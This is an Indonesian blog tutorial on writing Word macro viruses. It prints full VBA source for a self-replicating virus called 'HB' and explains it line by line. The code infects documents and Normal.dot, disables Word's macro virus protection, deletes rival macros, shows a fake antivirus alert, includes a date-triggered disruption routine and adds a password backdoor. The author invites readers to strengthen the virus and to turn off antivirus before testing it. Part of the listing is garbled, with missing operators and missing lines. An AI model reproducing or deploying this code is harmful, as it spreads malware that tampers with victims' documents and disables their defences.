Yuk Belajar Virus Macro

04.45

Banyak definisi virus yang ada. Tapi yang paling gampang dan simple yaitu bahwa virus itu “hanya” serangkaian rutinitas program yang menjengkelkan. (he he he…).

Kenapa dibilang “hanya”? sabar dulu nanti juga dikasih tahu kok.
Tapi perlu diingat, virus itu punya 3 kemampuan utama yaitu : membobol, beranak dan mempertahankan diri.

Naahh… sekarang bagaimana cara antivirus bekerja? Caranya dengan mempelajari cara kerja suatu program (apa saja yang dilakukan). Bila ternyata kerja program itu dianggap virus, maka antivirus tersebut akan melakukan tugasnya seperti yang telah disetting. Itulah kenapa ada yang mengklaim bahwa antivirusnya bisa mendeteksi virus-virus yang belum diketahui (sebenarnya bukannya belum diketahui, tapi cara kerja virus tersebut sama/mirip dengan jenis yang sudah beredar).

Sekarang kembali kemakro. Apa sih sebenarnya makro? Makro adalah fasilitas yang disediakan microsoft untuk mempermudah pekerjaan kita. Memang banyak sekali keguanaan makro, beberapa kegunaannya adalah kita bisa membuat templet, menggabungkan beberapa format penulisan sekaligus menjadi satu perintah, dll. Saking baiknya microsoft, kita bisa menimpa perintah-perintah yang sudah ada menjadi perintah yang kita mau. Naahh.., itulah yang menjadi celah untuk melakukan apapun sesuka kita.

Bahasa makro identik dengan VB, editornya pun sama dengan vb. Jadi kalau kalian paham tentang vb pasti gak terlalu susah dalam pengembangannya. Ada beberapa hal yang harus dimiliki virus makro. Yang pertama adalah kemampuan menyusup untuk menembus pertahanan. Setelah berhasil menanamkan “benih”, dibuatlah benteng agar makro yang lain tidak bisa masuk. Dan yang terakhir adalah menularkan virus makro ke dokumen-dokumen lain.

Dalam penyebarannya, virus makro mempunyai penanda yang unik. Penanda itu dimaksudkan untuk memberi tanda/informasi bahwa dokumen tersebut telah terkena virus makro, jadi tidak perlu disisipkan lagi bila ternyata dokumen tersebut sudah terinfeksi.
Virus makro memanfaatkan file normal.dot sebagai media pengembangannya. Normal.dot adalah file yang menyimpan pemformatan dokumen (font, paragraph, dll). Dengan file normal.dot itulah kita akan membuat virus makro. Untuk membasmi virus makro (antidot) juga dengan normal.dot. Tapi untuk tingkat advance, normal.dot bukanlah segalanya. Tapi membuat file *.dot (membuat templet sendiri) dengan nama yang lain. Tapi pembahasan di sini gak sampai membuat virus makro dengan membuat file *.dot dengan nama yang lain, tetapi dengan memanfaatkan normal.dot.

Untuk membuat virus makro diperlukan satu penanda, kalo kalian buat data base semacam primary key atau NIS (Nomor Induk Siswa) untuk siswa SMU. Pada kasus ini nama modulnya kita jadikan penanda. Dengan penanda ini kita bisa mengetahui apakah dokumen tersebut telah terinfeksi atau belum. Pada contoh ini penandanya gua beri nama HB. Ini bisa dilihat pada baris 0. Kenapa dijadiin komentar? Karena itu untuk mempermudah mengingat saja bahwa penandanya bernama HB, Kalo mau disebarkan sebaiknya dihapus saja. Ini dia contoh source yang ada, tadinya bahasa inggris,tapi sekarang udah dibahasa Indonesiakan, lebih ngerti ‘kan?

0 : ‘Attribute VB_Name = “HB”
1 : ‘Creative design by me, rs -> dh1mz@yahoo.com
2 : ‘Don’t try this at home…, its very dangerous…!!! :p
3 : ‘Copyleft © 2004.Purworejo, Indonesia
4 : ‘Hak cipta dilindungi udang-udang dasar.
5 :
6 : Sub InfeksiDokumen()
7 : Dim UdahAda As Boolean
8 : UdahAda = False
9 : On Error Resume Next
10 : For Each obj In ActiveDocument.VBProject.VBComponents
11 : If obj.Name = “HB” Then UdahAda = True
12 : If obj.Name “HB” And obj.Name “ThisDocument” Then
13 : Application.OrganizerDelete Source:=ActiveDocument.FullName, name:=obj.Name, 2 : Object:=wdOrganizerObjectProjectItems
14 : End If
15 : Next obj
16 : If UdahAda = False Then
17 : Application.OrganizerCopy Source:=NormalTemplate.FullName, Destination:=ActiveDocument, Name:=”HB”, Object:=wdOrganizerObjectProjectItems
18 : End If
19 : End Sub
20 :
21 : Sub InfeksiTemplate()
22 : Dim UdahAda As Boolean
23 : UdahAda = False
24 : On Error Resume Next
25 : For Each obj In NormalTemplate.VBProject.VBComponents
26 : If obj.Name = “HB” Then UdahAda = True
27 : If obj.Name “HB” And obj.Name “ThisDocument” Then
28 : Application.OrganizerDelete Source:=NormalTemplate.FullName, Name:=obj.Name, 2 : Object:=wdOrganizerObjectProjectItems
29 : End If
30 : Next obj
31 : If UdahAda = False Then
32 : On Error Resume Next
33 : Application.OrganizerCopy Source:=ActiveDocument.FullName, 2 : Destination:=NormalTemplate.FullName, Name:=”HB”, Object:=wdOrganizerObjectProjectItems
34 : Application.DisplayRecentFiles = False
35 : Application.DisplayRecentFiles = True
36 : End If
37 : End Sub
38 :
39 : Sub Matiin()
40 : Options.SaveNormalPrompt = False
41 : Options.VirusProtection = False
42 : Options.SavePropertiesPrompt = False
43 : End Sub
44 :
45 : Sub BentengTakesi()
46 :
47 : For i = 1 To 3
48 : passnya = InputBox(”Enter Your Password”, “Administrator”)
49 : ‘ If vbCancel Then Exit Sub
50 : If i = 3 And passnya = “” Then
51 : peringatan = MsgBox(”Your AntiVirus has detected macro virus” & Chr(13) & _
52 : “Your computer will shutdown automatically”, vbExclamation + vbOKOnly, “Warning..!!”)
53 : KacaPembesar
54 : Exit Sub
55 : ElseIf i = 3 Then
56 : h = MsgBox(”Sorry, you can’t access this tools!”, vbInformation, “Access Denied”)
57 : Exit Sub
58 : End If
59 : x = MsgBox(”Invalid Password, do you want to try again?”, vbYesNo + vbOKOnly, 2 : “Password”)
60 : If x = 7 Then Exit Sub
61 : passnya = “”
62 : Next
63 : End Sub
64 :
65 : Sub Iseng()
66 : Select Case WeekDay(Now())
67 : Case 1:
68 : If Time > TimeValue(”09:00:00″) And Time TimeValue(”18:00:00″) And Time TimeValue(”11:30:00″) And Time TimeValue(”19:00:00″) And Time 0 Then
140 : InfeksiDokumen
141 : ActiveDocument.Save
142 : End If
143 : WordBasic.DisableAutoMacros False
144 : Iseng
145 : End Sub
146 :
147 : Sub GantiLabel()
148 : On Error Resume Next
149 : Application.Caption = “He….he…..he…. Henoye “
150 : ‘ ActiveWindow.Caption = “rs keren”
151 : Application.UserName = “rs keren”
152 : Application.UserInitials = “rs”
153 : Application.UserAddress = “dh1mz@yahoo.com“
154 : End Sub
155 :
156 : Sub AutoExit()
157 : Iseng
158 : Application.Quit
159 : End Sub
160 :
161 : Sub AutoOpen()
162 : Matiin
163 : GantiLabel
164 : InfeksiTemplate
165 : On Error Resume Next
166 : NormalTemplate.Save
167 : Iseng
168 : End Sub
169 :
170 : Sub AutoClose()
171 : InfeksiDokumen
172 : ‘ Iseng
173 : ‘ WordBasic.FileClose
174 : End Sub
175 :
176 : Sub FileClose()
177 : AutoClose
178 : End Sub
179 :
182 : Sub FileSave()
181 : On Error Resume Next
182 : If ActiveDocument.Saved = False Then
183 : InfeksiDokumen
184 : InfeksiTemplate
185 : On Error Resume Next
186 : ActiveDocument.Save
187 : ActiveDocument.Saved = True
188 : End If
189 : End Sub
190 :
191 : Sub Sebarin()
192 : c = Documents.Count
193 : If c 0 Then
194 : Normal.HB.InfeksiDokumen
195 : WordBasic.DisableAutoMacros False
196 : On Error Resume Next
197 : If ActiveDocument.Name “Document1″ Then ActiveDocument.Save
198 : Else: Application.OnTime Now + TimeValue(”00:00:17″), “Normal.HB.Sebarin”
199 : End If
200 : End Sub
201 :
202 : Sub AutoExec()
203 : WordBasic.DisableAutoMacros True
204 : Matiin
205 : Application.OnTime Now + TimeValue(”00:00:17″), “Normal.HB.Sebarin”
206 : End Sub
207 :
208 : Sub HelpAbout()
209 : Nama = ActiveWindow.Caption
210 : Psw = Mid(Nama, 1, 3)
211 : ‘Psw = Mid$(Nama, 3)
212 : RCode = “HQKGW”
213 : RegCode = InputBox(”Enter Your Serial Number”, “Administrator”)
214 : Buka = InputBox(”Enter Your Password”, “Administrator”)
215 : If (Buka = Psw) And (RegCode = RCode) Then
216 : Application.ShowVisualBasicEditor = True
217 : End If
218 : End Sub

Baris ke-0 sampai 4 adalah kredit pembuat virusnya. Biasanya ini selalu ada, sekedar nampang doang biar orang pada tau siapa yang buat ni virus. Baris ke-5 hanya spasi kosong suapaya mudah dipelajari

Baris 6 sampai 19 adalah tahap penginfeksian dokumen. Prosedurnya diberi nama InfeksiDokumen. Pada baris ke-7 di deklarasikan variabel UdahAda sebagai boolean dan diberi nilai false. Fungsi variabel ini untuk mengecek apakah virus tersebut sudah ada di dalam dokumen. Baris 9 adalah jurus pamungkas yang gua gunain kalo buat program di vb. Walaupun kurang baik tapi sangat manjur untuk beberapa hal. Fungsinya adalah memaksa program mengabaikan kesalahan yang terjadi.
Baris 10 sampai 15 adalah proses looping. Di sini akan dicek setiap objek yang ada di dokumen aktif.

Buat apa di cek ?
Perhatikan baris selanjutnya (baris 11). If obj.Name = “HB” Then UdahAda = True. Di sini diperiksa apakah ada modul/penanda yang bernama HB? Bila ada maka variabel UdahAda diset true. Apasih objek itu ? coba buka microsoft word dan tekan alt+F11, lalu lihat bagian project (biasanya di kiri atas). Perhatikan gambar, yang dilingkarin itu yang dimaksud objek.
Baris selanjutnya dicek bila ternyata ada objek lain selain HB tetapi bukan bernama ThisDocument. Bila ternyata ada objek lain dan bukan bernama ThisDokument, maka perintah pada baris 13 akan dijalankan. Apa yang dilakukan pada baris 13 hayoo…? Seluruh objek yang bukan bernama HB dan ThisDocument akan dihapus. Dengan cara ini bila ada virus makro yang coba-coba masuk bakal dibantai. Kalo virus makronya juga pake konsep yang sama bagaimana? Yaa.. mereka bakal berantem dan yang menang yang menempatin normal.dot pertama kali (kecuali kalo ada virus makro yang buat file *.dot sendiri). Dengan konsep ini bisa dibuat antidot-nya loh.
Sekarang lanjut ke baris 16. Di sini dicek apakah HB sudah ada di dokumen? bila belum maka akan di copy objek HB ke dokumen tersebut. (di sinilah virus disebarkan)
Naahh… bila tadi dokumen yang kita serang, sekarang templetnya. Pada baris 21 sampai 37 yang menginfeksi templet. Rasa-rasanya gak perlu dijelasin lagi yach, penjelasannya gak jauh beda dengan yang diatas kok.

Tahap infeksi sudah dilakukan, sekarang bisa ngelanjut ke tahap berikutnya yaitu benteng pertahanan.(gak perlu dijelasin ya,soalnya yang ini aku ambil dari opensource para underground) setelah mampu bertahan, sekarang saatnya menyerang. Kan percuma kalo virus yang dibuat gak bisa nyebar. Perhatikan baris 135 sampai 145. Pada baris 137 akan mematikan automakro. Lalu pada baris 139 akan dicek apakah file tersebut benar-benar dibuka atau tidak, bila iya maka akan ditularkan dan disimpan.
Loh? fungsi baris 136 buat apa? Yang namanya pembuat virus pasti ingin dong ngasih oleh-oleh buat korban, perintah yang dieksekusi adalah baris ke 147 dan 154. Tapi ingat pada baris 150 sengaja gua matiin karena itu berhubungan dengan memasukkan password yang telah dibahas di bab pertahanan.

Pada baris 156 sampai 178 bisa ditebak lah apa yang dilakukan, baca aja judul prosedurnya. Sekarang kebaris 182. Fungsi prosedur ini adalah untuk menyimpan dokumen. Perhatikan cara kerjanya. Pertama-tama dicek apakah dokumen tersebut sudah disimpan atau belum. Apabila belum, maka dokumen akan diinfeksi dulu baru disimpan. Setelah selesai disimpan ActiveDocument.Saved diset true agar apabila user terus menerus menyimpan (kebiasaan kita :p) padahal tidak ada perubahan pada dokumen, tidak akan dilakukan apa-apa.

Sekarang masuk kepenyebaran virus yang terakhir, baris 191 sampai 206. Prosedur ini fungsinya apabila program word diaktifkan/buka, maka secara kontinue setiap 17 detik akan dicek apakah dokumen tersebut sudah diinfeksi atau belum.
Yup… selesai sudah teknik penyebaran dijelaskan. Di penyebaran ini bisa disisipkan aktifitas yang bersifat iseng (he he he… gua gak mau disalahkan loohh…). Contohnya pada baris 144, ketika dokumen dibuka maka akan mengeksekusi prosedur iseng(). Apa isi prosedur iseng? akan dibahas lain waktu ya!.
Tiba saatnya untuk menuntaskan pembahasan tentang virus makro ini. Ada dua prosedur yang belum dibahas yaitu prosedur iseng() pada baris 65 sampai 96 dan prosedur HelpAbout() pada baris 208 sampai 218.



1. iseng()

Sesuai dengan namanya bahwa prosedur ini adalah untuk iseng doank :D . Yaa… hanya untuk sekedar unjuk gigi lah. Pada baris 66, “Select Case WeekDay(Now())”, perintah ini berfungsi untuk mengecek hari. Dalam satu minggu kan ada 7 hari, naahh… hari minggu diberi nilai 1, hari senin 2 dan seterusnya sampai hari sabtu yang diberi nilai 7. Di sini kamu bisa berkreativitas sesukanya. Seperti pada hari jumat (nilai 6), pada jam 11:30 sampai jam 13:00 program word tidak akan bisa dijalankan karena akan langsung dimatikan komputernya (baris 87).
2. HelpAbout()

Fungsi sebenarnya dari prosedur ini adalah menampilkan pembuat/credit dari program word. Tapi sekarang fungsinya berubah yaitu sebagai kunci untuk masuk keeditor. Loohh… kenapa mesti dikasih begituan? bukannya bahaya kalau nanti dibobol? Seorang pembuat virus yang baik tentu saja selalu mempersiapkan jalan untuk mengubah source virus yang dibuat. Kan bahaya kalau gak bisa, mungkin kalian bisa memberikan yang lebih baik dari sini. Metode ini diambil mereka menamakan diri “DEXTER THE SCIENTIST” dari bogor. Ada sedikit modipan biar mudah ngejelasinnya.

Pertama-tama akan ditanyakan dulu nomor serial registrasi, dan ini diset fix, yaitu HQKGW (taukan penggalan nomor serial apa itu?yak!bener Microsoft windows). Selanjutnya apabila benar akan ditanyakan password, password ini selalu berubah sesuai nama file. Misalnya nama file loe makalah.doc, maka passwordnya adalah mak (cuman diambil 3 huruf). Apabila kedua-duanya benar, maka jendela editor visual basic akan ditampilkan.

Akhirnya selesai juga pembahasan tentang pembuatan virus makro ini. Memang sengaja tidak dijelaskan bagaimana merusak isi dokumen (karena gua orang baik yang gak tegaan ha….ha….ha….). Tapi berhubung kurang lengkap akan dikasih contoh ngerusak dokumen. Ini sebenarnya hanya memanfaatkan autocorrect pada microsoft word saja.

Contoh :
AutoCorrect.Entries.Add Name:=”nama”, value:=”nama saya”.
Fungsi perintah diatas adalah untuk mengubah kata nama menjadi nama saya. Atau bisa juga menampilkan animasi seperti contoh di bawah ini:
Selection.Font.Animation = wdAnimationLasVegasLight.

Tapi gua harap yang itu (autocorrect dan animasi) jangan digunakan, karena sebenarnya pembuatan virus bukan untuk merusak yang begituan. Biasanya virus hanya benar-benar merusak pada waktu-waktu tertentu saja (misalnya setiap tanggal 1 Januari hardisk diformat). Sedangkan hari-hari lain cuman sekedar nampang dan memperbanyak diri saja. Untuk pembuatan anti virusnya, karang sendiri yach. Gunakan cara virus makro beraktifitas untuk menghapusnya. (virus ngelawan virus). Soalnya lagi males buat antivirusnya. Mungkin nanti dibuatin.

Sebelum diakhiri gua harap kalian bisa mencari referensi lain untuk memperhebat virus yang dibuat. Gua gak bertanggung jawab atas penyalah gunaan artikel ini, artikel ini ditujuan hanya untuk pendidikan saja dan untuk membentengi diri dari virus makro. Yaahh… hanya kebersihan dan kemuliaan hati dari pembaca artikel ini yang bisa diharapkan (he he he… puitis banget). Akhir kata, selamat mencoba semoga berhasil… (O,iya, kalo mo coba,anti virusnya lo matiin dulu,(disable) soalnya anti virus sekarang udah bisa ngedetect virus jenis ini,)

0 komentar:

Posting Komentar